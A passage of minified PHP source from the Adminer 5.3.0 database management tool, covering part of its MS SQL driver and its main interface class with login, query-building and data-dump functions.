WHERE c.object_id = ".q($ui))as$K){$U=$K["type"];$y=(preg_match("~char|binary~",$U)?intval($K["max_length"])/($U[0]=='n'?2:1):($U=="decimal"?"$K[precision],$K[scale]":""));$J[$K["name"]]=array("field"=>$K["name"],"full_type"=>$U.($y?"($y)":""),"type"=>$U,"length"=>$y,"default"=>(preg_match("~^\('(.*)'\)$~",$K["default"],$A)?str_replace("''","'",$A[1]):$K["default"]),"default_constraint"=>$K["default_constraint"],"null"=>$K["is_nullable"],"auto_increment"=>$K["is_identity"],"collation"=>$K["collation_name"],"privileges"=>array("insert"=>1,"select"=>1,"update"=>1,"where"=>1,"order"=>1),"primary"=>$K["is_primary_key"],"comment"=>$qb[$K["name"]],);}foreach(get_rows("SELECT * FROM sys.computed_columns WHERE object_id = ".q($ui))as$K){$J[$K["name"]]["generated"]=($K["is_persisted"]?"PERSISTED":"VIRTUAL");$J[$K["name"]]["default"]=$K["definition"];}return$J;}function
indexes($R,$g=null){$J=array();foreach(get_rows("SELECT i.name, key_ordinal, is_unique, is_primary_key, c.name AS column_name, is_descending_key
FROM sys.indexes i
INNER JOIN sys.index_columns ic ON i.object_id = ic.object_id AND i.index_id = ic.index_id
INNER JOIN sys.columns c ON ic.object_id = c.object_id AND ic.column_id = c.column_id
WHERE OBJECT_NAME(i.object_id) = ".q($R),$g)as$K){$B=$K["name"];$J[$B]["type"]=($K["is_primary_key"]?"PRIMARY":($K["is_unique"]?"UNIQUE":"INDEX"));$J[$B]["lengths"]=array();$J[$B]["columns"][$K["key_ordinal"]]=$K["column_name"];$J[$B]["descs"][$K["key_ordinal"]]=($K["is_descending_key"]?'1':null);}return$J;}function
view($B){return
array("select"=>preg_replace('~^(?:[^[]|\[[^]]*])*\s+AS\s+~isU','',get_val("SELECT VIEW_DEFINITION FROM INFORMATION_SCHEMA.VIEWS WHERE TABLE_SCHEMA = SCHEMA_NAME() AND TABLE_NAME = ".q($B))));}function
collations(){$J=array();foreach(get_vals("SELECT name FROM fn_helpcollations()")as$c)$J[preg_replace('~_.*~','',$c)][]=$c;return$J;}function
information_schema($j){return
get_schema()=="INFORMATION_SCHEMA";}function
error(){return
nl_br(h(preg_replace('~^(\[[^]]*])+~m','',connection()->error)));}function
create_database($j,$c){return
queries("CREATE DATABASE ".idf_escape($j).(preg_match('~^[a-z0-9_]+$~i',$c)?" COLLATE $c":""));}function
drop_databases($i){return
queries("DROP DATABASE ".implode(", ",array_map('Adminer\idf_escape',$i)));}function
rename_database($B,$c){if(preg_match('~^[a-z0-9_]+$~i',$c))queries("ALTER DATABASE ".idf_escape(DB)." COLLATE $c");queries("ALTER DATABASE ".idf_escape(DB)." MODIFY NAME = ".idf_escape($B));return
true;}function
auto_increment(){return" IDENTITY".($_POST["Auto_increment"]!=""?"(".number($_POST["Auto_increment"]).",1)":"")." PRIMARY KEY";}function
alter_table($R,$B,$n,$jd,$ob,$yc,$c,$_a,$E){$b=array();$qb=array();$gg=fields($R);foreach($n
as$m){$d=idf_escape($m[0]);$X=$m[1];if(!$X)$b["DROP"][]=" COLUMN $d";else{$X[1]=preg_replace("~( COLLATE )'(\\w+)'~",'\1\2',$X[1]);$qb[$m[0]]=$X[5];unset($X[5]);if(preg_match('~ AS ~',$X[3]))unset($X[1],$X[2]);if($m[0]=="")$b["ADD"][]="\n  ".implode("",$X).($R==""?substr($jd[$X[0]],16+strlen($X[0])):"");else{$k=$X[3];unset($X[3]);unset($X[6]);if($d!=$X[0])queries("EXEC sp_rename ".q(table($R).".$d").", ".q(idf_unescape($X[0])).", 'COLUMN'");$b["ALTER COLUMN ".implode("",$X)][]="";$fg=$gg[$m[0]];if(default_value($fg)!=$k){if($fg["default"]!==null)$b["DROP"][]=" ".idf_escape($fg["default_constraint"]);if($k)$b["ADD"][]="\n $k FOR $d";}}}}if($R=="")return
queries("CREATE TABLE ".table($B)." (".implode(",",(array)$b["ADD"])."\n)");if($R!=$B)queries("EXEC sp_rename ".q(table($R)).", ".q($B));if($jd)$b[""]=$jd;foreach($b
as$x=>$X){if(!queries("ALTER TABLE ".table($B)." $x".implode(",",$X)))return
false;}foreach($qb
as$x=>$X){$ob=substr($X,9);queries("EXEC sp_dropextendedproperty @name = N'MS_Description', @level0type = N'Schema', @level0name = ".q(get_schema()).", @level1type = N'Table', @level1name = ".q($B).", @level2type = N'Column', @level2name = ".q($x));queries("EXEC sp_addextendedproperty
@name = N'MS_Description',
@value = $ob,
@level0type = N'Schema',
@level0name = ".q(get_schema()).",
@level1type = N'Table',
@level1name = ".q($B).",
@level2type = N'Column',
@level2name = ".q($x));}return
true;}function
alter_indexes($R,$b){$v=array();$ic=array();foreach($b
as$X){if($X[2]=="DROP"){if($X[0]=="PRIMARY")$ic[]=idf_escape($X[1]);else$v[]=idf_escape($X[1])." ON ".table($R);}elseif(!queries(($X[0]!="PRIMARY"?"CREATE $X[0] ".($X[0]!="INDEX"?"INDEX ":"").idf_escape($X[1]!=""?$X[1]:uniqid($R."_"))." ON ".table($R):"ALTER TABLE ".table($R)." ADD PRIMARY KEY")." (".implode(", ",$X[2]).")"))return
false;}return(!$v||queries("DROP INDEX ".implode(", ",$v)))&&(!$ic||queries("ALTER TABLE ".table($R)." DROP ".implode(", ",$ic)));}function
found_rows($S,$Z){}function
foreign_keys($R){$J=array();$Qf=array("CASCADE","NO ACTION","SET NULL","SET DEFAULT");foreach(get_rows("EXEC sp_fkeys @fktable_name = ".q($R).", @fktable_owner = ".q(get_schema()))as$K){$p=&$J[$K["FK_NAME"]];$p["db"]=$K["PKTABLE_QUALIFIER"];$p["ns"]=$K["PKTABLE_OWNER"];$p["table"]=$K["PKTABLE_NAME"];$p["on_update"]=$Qf[$K["UPDATE_RULE"]];$p["on_delete"]=$Qf[$K["DELETE_RULE"]];$p["source"][]=$K["FKCOLUMN_NAME"];$p["target"][]=$K["PKCOLUMN_NAME"];}return$J;}function
truncate_tables($T){return
apply_queries("TRUNCATE TABLE",$T);}function
drop_views($Gj){return
queries("DROP VIEW ".implode(", ",array_map('Adminer\table',$Gj)));}function
drop_tables($T){return
queries("DROP TABLE ".implode(", ",array_map('Adminer\table',$T)));}function
move_tables($T,$Gj,$Di){return
apply_queries("ALTER SCHEMA ".idf_escape($Di)." TRANSFER",array_merge($T,$Gj));}function
trigger($B,$R){if($B=="")return
array();$L=get_rows("SELECT s.name [Trigger],
CASE WHEN OBJECTPROPERTY(s.id, 'ExecIsInsertTrigger') = 1 THEN 'INSERT' WHEN OBJECTPROPERTY(s.id, 'ExecIsUpdateTrigger') = 1 THEN 'UPDATE' WHEN OBJECTPROPERTY(s.id, 'ExecIsDeleteTrigger') = 1 THEN 'DELETE' END [Event],
CASE WHEN OBJECTPROPERTY(s.id, 'ExecIsInsteadOfTrigger') = 1 THEN 'INSTEAD OF' ELSE 'AFTER' END [Timing],
c.text
FROM sysobjects s
JOIN syscomments c ON s.id = c.id
WHERE s.xtype = 'TR' AND s.name = ".q($B));$J=reset($L);if($J)$J["Statement"]=preg_replace('~^.+\s+AS\s+~isU','',$J["text"]);return$J;}function
triggers($R){$J=array();foreach(get_rows("SELECT sys1.name,
CASE WHEN OBJECTPROPERTY(sys1.id, 'ExecIsInsertTrigger') = 1 THEN 'INSERT' WHEN OBJECTPROPERTY(sys1.id, 'ExecIsUpdateTrigger') = 1 THEN 'UPDATE' WHEN OBJECTPROPERTY(sys1.id, 'ExecIsDeleteTrigger') = 1 THEN 'DELETE' END [Event],
CASE WHEN OBJECTPROPERTY(sys1.id, 'ExecIsInsteadOfTrigger') = 1 THEN 'INSTEAD OF' ELSE 'AFTER' END [Timing]
FROM sysobjects sys1
JOIN sysobjects sys2 ON sys1.parent_obj = sys2.id
WHERE sys1.xtype = 'TR' AND sys2.name = ".q($R))as$K)$J[$K["name"]]=array($K["Timing"],$K["Event"]);return$J;}function
trigger_options(){return
array("Timing"=>array("AFTER","INSTEAD OF"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("AS"),);}function
schemas(){return
get_vals("SELECT name FROM sys.schemas");}function
get_schema(){if($_GET["ns"]!="")return$_GET["ns"];return
get_val("SELECT SCHEMA_NAME()");}function
set_schema($Bh){$_GET["ns"]=$Bh;return
true;}function
create_sql($R,$_a,$ni){if(is_view(table_status1($R))){$Fj=view($R);return"CREATE VIEW ".table($R)." AS $Fj[select]";}$n=array();$G=false;foreach(fields($R)as$B=>$m){$X=process_field($m,$m);if($X[6])$G=true;$n[]=implode("",$X);}foreach(indexes($R)as$B=>$v){if(!$G||$v["type"]!="PRIMARY"){$e=array();foreach($v["columns"]as$x=>$X)$e[]=idf_escape($X).($v["descs"][$x]?" DESC":"");$B=idf_escape($B);$n[]=($v["type"]=="INDEX"?"INDEX $B":"CONSTRAINT $B ".($v["type"]=="UNIQUE"?"UNIQUE":"PRIMARY KEY"))." (".implode(", ",$e).")";}}foreach(driver()->checkConstraints($R)as$B=>$Wa)$n[]="CONSTRAINT ".idf_escape($B)." CHECK ($Wa)";return"CREATE TABLE ".table($R)." (\n\t".implode(",\n\t",$n)."\n)";}function
foreign_keys_sql($R){$n=array();foreach(foreign_keys($R)as$jd)$n[]=ltrim(format_foreign_key($jd));return($n?"ALTER TABLE ".table($R)." ADD\n\t".implode(",\n\t",$n).";\n\n":"");}function
truncate_sql($R){return"TRUNCATE TABLE ".table($R);}function
use_sql($Nb){return"USE ".idf_escape($Nb);}function
trigger_sql($R){$J="";foreach(triggers($R)as$B=>$cj)$J
.=create_trigger(" ON ".table($R),trigger($B,$R)).";";return$J;}function
convert_field($m){}function
unconvert_field($m,$J){return$J;}function
support($Vc){return
preg_match('~^(check|comment|columns|database|drop_col|dump|indexes|descidx|scheme|sql|table|trigger|view|view_trigger)$~',$Vc);}}class
Adminer{static$instance;var$error='';function
name(){return"<a href='https://www.adminer.org/'".target_blank()." id='h1'><img src='".h(preg_replace("~\\?.*~","",ME)."?file=logo.png&version=5.3.0")."' width='24' height='24' alt='' id='logo'>Adminer</a>";}function
credentials(){return
array(SERVER,$_GET["username"],get_password());}function
connectSsl(){}function
permanentLogin($h=false){return
password_file($h);}function
bruteForceKey(){return$_SERVER["REMOTE_ADDR"];}function
serverName($N){return
h($N);}function
database(){return
DB;}function
databases($hd=true){return
get_databases($hd);}function
pluginsLinks(){}function
operators(){return
driver()->operators;}function
schemas(){return
schemas();}function
queryTimeout(){return
2;}function
headers(){}function
csp(array$Gb){return$Gb;}function
head($Kb=null){return
true;}function
bodyClass(){echo" adminer";}function
css(){$J=array();foreach(array("","-dark")as$qf){$o="adminer$qf.css";if(file_exists($o)){$Zc=file_get_contents($o);$J["$o?v=".crc32($Zc)]=($qf?"dark":(preg_match('~prefers-color-scheme:\s*dark~',$Zc)?'':'light'));}}return$J;}function
loginForm(){echo"<table class='layout'>\n",adminer()->loginFormField('driver','<tr><th>'.'System'.'<td>',html_select("auth[driver]",SqlDriver::$drivers,DRIVER,"loginDriver(this);")),adminer()->loginFormField('server','<tr><th>'.'Server'.'<td>','<input name="auth[server]" value="'.h(SERVER).'" title="hostname[:port]" placeholder="localhost" autocapitalize="off">'),adminer()->loginFormField('username','<tr><th>'.'Username'.'<td>','<input name="auth[username]" id="username" autofocus value="'.h($_GET["username"]).'" autocomplete="username" autocapitalize="off">'.script("const authDriver = qs('#username').form['auth[driver]']; authDriver && authDriver.onchange();")),adminer()->loginFormField('password','<tr><th>'.'Password'.'<td>','<input type="password" name="auth[password]" autocomplete="current-password">'),adminer()->loginFormField('db','<tr><th>'.'Database'.'<td>','<input name="auth[db]" value="'.h($_GET["db"]).'" autocapitalize="off">'),"</table>\n","<p><input type='submit' value='".'Login'."'>\n",checkbox("auth[permanent]",1,$_COOKIE["adminer_permanent"],'Permanent login')."\n";}function
loginFormField($B,$Hd,$Y){return$Hd.$Y."\n";}function
login($Se,$F){if($F=="")return
sprintf('Adminer does not support accessing a database without a password, <a href="https://www.adminer.org/en/password/"%s>more information</a>.',target_blank());return
true;}function
tableName(array$ti){return
h($ti["Name"]);}function
fieldName(array$m,$Zf=0){$U=$m["full_type"];$ob=$m["comment"];return'<span title="'.h($U.($ob!=""?($U?": ":"").$ob:'')).'">'.h($m["field"]).'</span>';}function
selectLinks(array$ti,$O=""){$B=$ti["Name"];echo'<p class="links">';$Qe=array("select"=>'Select data');if(support("table")||support("indexes"))$Qe["table"]='Show structure';$xe=false;if(support("table")){$xe=is_view($ti);if($xe)$Qe["view"]='Alter view';else$Qe["create"]='Alter table';}if($O!==null)$Qe["edit"]='New item';foreach($Qe
as$x=>$X)echo" <a href='".h(ME)."$x=".urlencode($B).($x=="edit"?$O:"")."'".bold(isset($_GET[$x])).">$X</a>";echo
doc_link(array(JUSH=>driver()->tableHelp($B,$xe)),"?"),"\n";}function
foreignKeys($R){return
foreign_keys($R);}function
backwardKeys($R,$si){return
array();}function
backwardKeysPrint(array$Da,array$K){}function
selectQuery($H,$ji,$Tc=false){$J="</p>\n";if(!$Tc&&($Jj=driver()->warnings())){$t="warnings";$J=", <a href='#$t'>".'Warnings'."</a>".script("qsl('a').onclick = partial(toggle, '$t');","")."$J<div id='$t' class='hidden'>\n$Jj</div>\n";}return"<p><code class='jush-".JUSH."'>".h(str_replace("\n"," ",$H))."</code> <span class='time'>(".format_time($ji).")</span>".(support("sql")?" <a href='".h(ME)."sql=".urlencode($H)."'>".'Edit'."</a>":"").$J;}function
sqlCommandQuery($H){return
shorten_utf8(trim($H),1000);}function
sqlPrintAfter(){}function
rowDescription($R){return"";}function
rowDescriptions(array$L,array$kd){return$L;}function
selectLink($X,array$m){}function
selectVal($X,$_,array$m,$jg){$J=($X===null?"<i>NULL</i>":(preg_match("~char|binary|boolean~",$m["type"])&&!preg_match("~var~",$m["type"])?"<code>$X</code>":(preg_match('~json~',$m["type"])?"<code class='jush-js'>$X</code>":$X)));if(preg_match('~blob|bytea|raw|file~',$m["type"])&&!is_utf8($X))$J="<i>".lang_format(array('%d byte','%d bytes'),strlen($jg))."</i>";return($_?"<a href='".h($_)."'".(is_url($_)?target_blank():"").">$J</a>":$J);}function
editVal($X,array$m){return$X;}function
config(){return
array();}function
tableStructurePrint(array$n,$ti=null){echo"<div class='scrollable'>\n","<table class='nowrap odds'>\n","<thead><tr><th>".'Column'."<td>".'Type'.(support("comment")?"<td>".'Comment':"")."</thead>\n";$mi=driver()->structuredTypes();foreach($n
as$m){echo"<tr><th>".h($m["field"]);$U=h($m["full_type"]);$c=h($m["collation"]);echo"<td><span title='$c'>".(in_array($U,(array)$mi['User types'])?"<a href='".h(ME.'type='.urlencode($U))."'>$U</a>":$U.($c&&isset($ti["Collation"])&&$c!=$ti["Collation"]?" $c":""))."</span>",($m["null"]?" <i>NULL</i>":""),($m["auto_increment"]?" <i>".'Auto Increment'."</i>":"");$k=h($m["default"]);echo(isset($m["default"])?" <span title='".'Default value'."'>[<b>".($m["generated"]?"<code class='jush-".JUSH."'>$k</code>":$k)."</b>]</span>":""),(support("comment")?"<td>".h($m["comment"]):""),"\n";}echo"</table>\n","</div>\n";}function
tableIndexesPrint(array$w,array$ti){$ug=false;foreach($w
as$B=>$v)$ug|=!!$v["partial"];echo"<table>\n";$Sb=first(driver()->indexAlgorithms($ti));foreach($w
as$B=>$v){ksort($v["columns"]);$Sg=array();foreach($v["columns"]as$x=>$X)$Sg[]="<i>".h($X)."</i>".($v["lengths"][$x]?"(".$v["lengths"][$x].")":"").($v["descs"][$x]?" DESC":"");echo"<tr title='".h($B)."'>","<th>$v[type]".($Sb&&$v['algorithm']!=$Sb?" ($v[algorithm])":""),"<td>".implode(", ",$Sg);if($ug)echo"<td>".($v['partial']?"<code class='jush-".JUSH."'>WHERE ".h($v['partial']):"");echo"\n";}echo"</table>\n";}function
selectColumnsPrint(array$M,array$e){print_fieldset("select",'Select',$M);$s=0;$M[""]=array();foreach($M
as$x=>$X){$X=idx($_GET["columns"],$x,array());$d=select_input(" name='columns[$s][col]'",$e,$X["col"],($x!==""?"selectFieldChange":"selectAddRow"));echo"<div>".(driver()->functions||driver()->grouping?html_select("columns[$s][fun]",array(-1=>"")+array_filter(array('Functions'=>driver()->functions,'Aggregation'=>driver()->grouping)),$X["fun"]).on_help("event.target.value && event.target.value.replace(/ |\$/, '(') + ')'",1).script("qsl('select').onchange = function () { helpClose();".($x!==""?"":" qsl('select, input', this.parentNode).onchange();")." };","")."($d)":$d)."</div>\n";$s++;}echo"</div></fieldset>\n";}function
selectSearchPrint(array$Z,array$e,array$w){print_fieldset("search",'Search',$Z);foreach($w
as$s=>$v){if($v["type"]=="FULLTEXT")echo"<div>(<i>".implode("</i>, <i>",array_map('Adminer\h',$v["columns"]))."</i>) AGAINST"," <input type='search' name='fulltext[$s]' value='".h(idx($_GET["fulltext"],$s))."'>",script("qsl('input').oninput = selectFieldChange;",""),checkbox("boolean[$s]",1,isset($_GET["boolean"][$s]),"BOOL"),"</div>\n";}$Ta="this.parentNode.firstChild.onchange();";foreach(array_merge((array)$_GET["where"],array(array()))as$s=>$X){if(!$X||("$X[col]$X[val]"!=""&&in_array($X["op"],adminer()->operators())))echo"<div>".select_input(" name='where[$s][col]'",$e,$X["col"],($X?"selectFieldChange":"selectAddRow"),"(".'anywhere'.")"),html_select("where[$s][op]",adminer()->operators(),$X["op"],$Ta),"<input type='search' name='where[$s][val]' value='".h($X["val"])."'>",script("mixin(qsl('input'), {oninput: function () { $Ta }, onkeydown: selectSearchKeydown, onsearch: selectSearchSearch});",""),"</div>\n";}echo"</div></fieldset>\n";}function
selectOrderPrint(array$Zf,array$e,array$w){print_fieldset("sort",'Sort',$Zf);$s=0;foreach((array)$_GET["order"]as$x=>$X){if($X!=""){echo"<div>".select_input(" name='order[$s]'",$e,$X,"selectFieldChange"),checkbox("desc[$s]",1,isset($_GET["desc"][$x]),'descending')."</div>\n";$s++;}}echo"<div>".select_input(" name='order[$s]'",$e,"","selectAddRow"),checkbox("desc[$s]",1,false,'descending')."</div>\n","</div></fieldset>\n";}function
selectLimitPrint($z){echo"<fieldset><legend>".'Limit'."</legend><div>","<input type='number' name='limit' class='size' value='".intval($z)."'>",script("qsl('input').oninput = selectFieldChange;",""),"</div></fieldset>\n";}function
selectLengthPrint($Ji){if($Ji!==null)echo"<fieldset><legend>".'Text length'."</legend><div>","<input type='number' name='text_length' class='size' value='".h($Ji)."'>","</div></fieldset>\n";}function
selectActionPrint(array$w){echo"<fieldset><legend>".'Action'."</legend><div>","<input type='submit' value='".'Select'."'>"," <span id='noindex' title='".'Full table scan'."'></span>","<script".nonce().">\n","const indexColumns = ";$e=array();foreach($w
as$v){$Jb=reset($v["columns"]);if($v["type"]!="FULLTEXT"&&$Jb)$e[$Jb]=1;}$e[""]=1;foreach($e
as$x=>$X)json_row($x);echo";\n","selectFieldChange.call(qs('#form')['select']);\n","</script>\n","</div></fieldset>\n";}function
selectCommandPrint(){return!information_schema(DB);}function
selectImportPrint(){return!information_schema(DB);}function
selectEmailPrint(array$vc,array$e){}function
selectColumnsProcess(array$e,array$w){$M=array();$wd=array();foreach((array)$_GET["columns"]as$x=>$X){if($X["fun"]=="count"||($X["col"]!=""&&(!$X["fun"]||in_array($X["fun"],driver()->functions)||in_array($X["fun"],driver()->grouping)))){$M[$x]=apply_sql_function($X["fun"],($X["col"]!=""?idf_escape($X["col"]):"*"));if(!in_array($X["fun"],driver()->grouping))$wd[]=$M[$x];}}return
array($M,$wd);}function
selectSearchProcess(array$n,array$w){$J=array();foreach($w
as$s=>$v){if($v["type"]=="FULLTEXT"&&idx($_GET["fulltext"],$s)!="")$J[]="MATCH (".implode(", ",array_map('Adminer\idf_escape',$v["columns"])).") AGAINST (".q($_GET["fulltext"][$s]).(isset($_GET["boolean"][$s])?" IN BOOLEAN MODE":"").")";}foreach((array)$_GET["where"]as$x=>$X){$hb=$X["col"];if("$hb$X[val]"!=""&&in_array($X["op"],adminer()->operators())){$sb=array();foreach(($hb!=""?array($hb=>$n[$hb]):$n)as$B=>$m){$Og="";$rb=" $X[op]";if(preg_match('~IN$~',$X["op"])){$Wd=process_length($X["val"]);$rb
.=" ".($Wd!=""?$Wd:"(NULL)");}elseif($X["op"]=="SQL")$rb=" $X[val]";elseif(preg_match('~^(I?LIKE) %%$~',$X["op"],$A))$rb=" $A[1] ".adminer()->processInput($m,"%$X[val]%");elseif($X["op"]=="FIND_IN_SET"){$Og="$X[op](".q($X["val"]).", ";$rb=")";}elseif(!preg_match('~NULL$~',$X["op"]))$rb
.=" ".adminer()->processInput($m,$X["val"]);if($hb!=""||(isset($m["privileges"]["where"])&&(preg_match('~^[-\d.'.(preg_match('~IN$~',$X["op"])?',':'').']+$~',$X["val"])||!preg_match('~'.number_type().'|bit~',$m["type"]))&&(!preg_match("~[\x80-\xFF]~",$X["val"])||preg_match('~char|text|enum|set~',$m["type"]))&&(!preg_match('~date|timestamp~',$m["type"])||preg_match('~^\d+-\d+-\d+~',$X["val"]))))$sb[]=$Og.driver()->convertSearch(idf_escape($B),$X,$m).$rb;}$J[]=(count($sb)==1?$sb[0]:($sb?"(".implode(" OR ",$sb).")":"1 = 0"));}}return$J;}function
selectOrderProcess(array$n,array$w){$J=array();foreach((array)$_GET["order"]as$x=>$X){if($X!="")$J[]=(preg_match('~^((COUNT\(DISTINCT |[A-Z0-9_]+\()(`(?:[^`]|``)+`|"(?:[^"]|"")+")\)|COUNT\(\*\))$~',$X)?$X:idf_escape($X)).(isset($_GET["desc"][$x])?" DESC":"");}return$J;}function
selectLimitProcess(){return(isset($_GET["limit"])?intval($_GET["limit"]):50);}function
selectLengthProcess(){return(isset($_GET["text_length"])?"$_GET[text_length]":"100");}function
selectEmailProcess(array$Z,array$kd){return
false;}function
selectQueryBuild(array$M,array$Z,array$wd,array$Zf,$z,$D){return"";}function
messageQuery($H,$Ki,$Tc=false){restart_session();$Jd=&get_session("queries");if(!idx($Jd,$_GET["db"]))$Jd[$_GET["db"]]=array();if(strlen($H)>1e6)$H=preg_replace('~[\x80-\xFF]+$~','',substr($H,0,1e6))."\nÃ¢â‚¬Â¦";$Jd[$_GET["db"]][]=array($H,time(),$Ki);$fi="sql-".count($Jd[$_GET["db"]]);$J="<a href='#$fi' class='toggle'>".'SQL command'."</a>\n";if(!$Tc&&($Jj=driver()->warnings())){$t="warnings-".count($Jd[$_GET["db"]]);$J="<a href='#$t' class='toggle'>".'Warnings'."</a>, $J<div id='$t' class='hidden'>\n$Jj</div>\n";}return" <span class='time'>".@date("H:i:s")."</span>"." $J<div id='$fi' class='hidden'><pre><code class='jush-".JUSH."'>".shorten_utf8($H,1000)."</code></pre>".($Ki?" <span class='time'>($Ki)</span>":'').(support("sql")?'<p><a href="'.h(str_replace("db=".urlencode(DB),"db=".urlencode($_GET["db"]),ME).'sql=&history='.(count($Jd[$_GET["db"]])-1)).'">'.'Edit'.'</a>':'').'</div>';}function
editRowPrint($R,array$n,$K,$rj){}function
editFunctions(array$m){$J=($m["null"]?"NULL/":"");$rj=isset($_GET["select"])||where($_GET);foreach(array(driver()->insertFunctions,driver()->editFunctions)as$x=>$rd){if(!$x||(!isset($_GET["call"])&&$rj)){foreach($rd
as$Cg=>$X){if(!$Cg||preg_match("~$Cg~",$m["type"]))$J
.="/$X";}}if($x&&$rd&&!preg_match('~set|blob|bytea|raw|file|bool~',$m["type"]))$J
.="/SQL";}if($m["auto_increment"]&&!$rj)$J='Auto Increment';return
explode("/",$J);}function
editInput($R,array$m,$ya,$Y){if($m["type"]=="enum")return(isset($_GET["select"])?"<label><input type='radio'$ya value='-1' checked><i>".'original'."</i></label> ":"").($m["null"]?"<label><input type='radio'$ya value=''".($Y!==null||isset($_GET["select"])?"":" checked")."><i>NULL</i></label> ":"").enum_input("radio",$ya,$m,$Y,$Y===0?0:null);return"";}function
editHint($R,array$m,$Y){return"";}function
processInput(array$m,$Y,$r=""){if($r=="SQL")return$Y;$B=$m["field"];$J=q($Y);if(preg_match('~^(now|getdate|uuid)$~',$r))$J="$r()";elseif(preg_match('~^current_(date|timestamp)$~',$r))$J=$r;elseif(preg_match('~^([+-]|\|\|)$~',$r))$J=idf_escape($B)." $r $J";elseif(preg_match('~^[+-] interval$~',$r))$J=idf_escape($B)." $r ".(preg_match("~^(\\d+|'[0-9.: -]') [A-Z_]+\$~i",$Y)?$Y:$J);elseif(preg_match('~^(addtime|subtime|concat)$~',$r))$J="$r(".idf_escape($B).", $J)";elseif(preg_match('~^(md5|sha1|password|encrypt)$~',$r))$J="$r($J)";return
unconvert_field($m,$J);}function
dumpOutput(){$J=array('text'=>'open','file'=>'save');if(function_exists('gzencode'))$J['gz']='gzip';return$J;}function
dumpFormat(){return(support("dump")?array('sql'=>'SQL'):array())+array('csv'=>'CSV,','csv;'=>'CSV;','tsv'=>'TSV');}function
dumpDatabase($j){}function
dumpTable($R,$ni,$xe=0){if($_POST["format"]!="sql"){echo"\xef\xbb\xbf";if($ni)dump_csv(array_keys(fields($R)));}else{if($xe==2){$n=array();foreach(fields($R)as$B=>$m)$n[]=idf_escape($B)." $m[full_type]";$h="CREATE TABLE ".table($R)." (".implode(", ",$n).")";}else$h=create_sql($R,$_POST["auto_increment"],$ni);set_utf8mb4($h);if($ni&&$h){if($ni=="DROP+CREATE"||$xe==1)echo"DROP ".($xe==2?"VIEW":"TABLE")." IF EXISTS ".table($R).";\n";if($xe==1)$h=remove_definer($h);echo"$h;\n\n";}}}function
dumpData($R,$ni,$H){if($ni){$af=(JUSH=="sqlite"?0:1048576);$n=array();$Sd=false;if($_POST["format"]=="sql"){if($ni=="TRUNCATE+INSERT")echo
truncate_sql($R).";\n";$n=fields($R);if(JUSH=="mssql"){foreach($n
as$m){if($m["auto_increment"]){echo"SET IDENTITY_INSERT ".table($R)." ON;\n";$Sd=true;break;}}}}$I=connection()->query($H,1);if($I){$me="";$Na="";$Be=array();$sd=array();$pi="";$Wc=($R!=''?'fetch_assoc':'fetch_row');$Cb=0;while($K=$I->$Wc()){if(!$Be){$Bj=array();foreach($K
as$X){$m=$I->fetch_field();if(idx($n[$m->name],'generated')){$sd[$m->name]=true;continue;}$Be[]=$m->name;$x=idf_escape($m->name);$Bj[]="$x = VALUES($x)";}$pi=($ni=="INSERT+UPDATE"?"\nON DUPLICATE KEY UPDATE ".implode(", ",$Bj):"").";\n";}if($_POST["format"]!="sql"){if($ni=="table"){dump_csv($Be);$ni="INSERT";}dump_csv($K);}else{if(!$me)$me="INSERT INTO ".table($R)." (".implode(", ",array_map('Adminer\idf_escape',$Be)).") VALUES";foreach($K
as$x=>$X){if($sd[$x]){unset($K[$x]);continue;}$m=$n[$x];$K[$x]=($X!==null?unconvert_field($m,preg_match(number_type(),$m["type"])&&!preg_match('~\[~',$m["full_type"])&&is_numeric($X)?$X:q(($X===false?0:$X))):"NULL");}$_h=($af?"\n":" ")."(".implode(",\t",$K).")";if(!$Na)$Na=$me.$_h;elseif(JUSH=='mssql'?$Cb%1000!=0:strlen($Na)+4+strlen($_h)+strlen($pi)<$af)$Na
.=",$_h";else{echo$Na.$pi;$Na=$me.$_h;}}$Cb++;}if($Na)echo$Na.$pi;}elseif($_POST["format"]=="sql")echo"-- ".str_replace("\n"," ",connection()->error)."\n";if($Sd)echo"SET IDENTITY_INSERT ".table($R)." OFF;\n";}}function
dumpFilename($Qd){return
friendly_url($Qd!=""?$Qd:(SERVER!=""?SERVER:"localhost"));}function
dumpHeaders($Qd,$sf=false){$mg=$_POST["output"];$Oc=(preg_match('~sql~',$_POST["format"])?"sql":($sf?"tar":"csv"));header("Content-Type: ".($mg=="gz"?"application/x-gzip":($Oc=="tar"?"application/x-tar":($Oc=="sql"||$mg!="file"?"text/plain":"text/csv")."; charset=utf-8")));if($mg=="gz"){ob_start(function($Q){return
gzencode($Q);},1e6);}return$Oc;}function
dumpFooter(){if($_POST["format"]=="sql")echo"-- ".gmdate("Y-m-d H:i:s e")."\n";}function
importServerPath(){return"adminer.sql";}function
homepage(){echo'<p class="links">'.($_GET["ns"]==""&&support("database")?'<a href="'.h(ME).'database=">'.'Alter database'."</a>\n":""),(support("scheme")?"<a href='".h(ME)."scheme='>".($_GET["ns"]!=""?'Alter schema':'Create schema')."</a>\n":""),($_GET["ns"]!==""?'<a href="'.h(ME).'schema=">'.'Database schema'."</a>\n":""),(support("privileges")?"<a href='".h(ME)."privileges='>".'Privileges'."</a>\n":"");return
true;}function
navigation($pf){echo"<h1>".adminer()->name()." <span class='version'>".VERSION;$_f=$_COOKIE["adminer_version"];echo" <a href='https://www.adminer.org/#download'".target_blank()." id='version'>".(version_compare(VERSION,$_f)<0?h($_f):"")."</a>","</span></h1>\n";if($pf=="auth"){$mg="";foreach((array)$_SESSION["pwds"]as$Dj=>$Rh){foreach($Rh
as$N=>$zj){$B=h(get_setting("vendor-$Dj-$N")?:get_driver($Dj));foreach($zj
as$V=>$F){if($F!==null){$Qb=$_SESSION["db"][$Dj][$N][$V];foreach(($Qb?array_keys($Qb):array(""))as$j)$mg
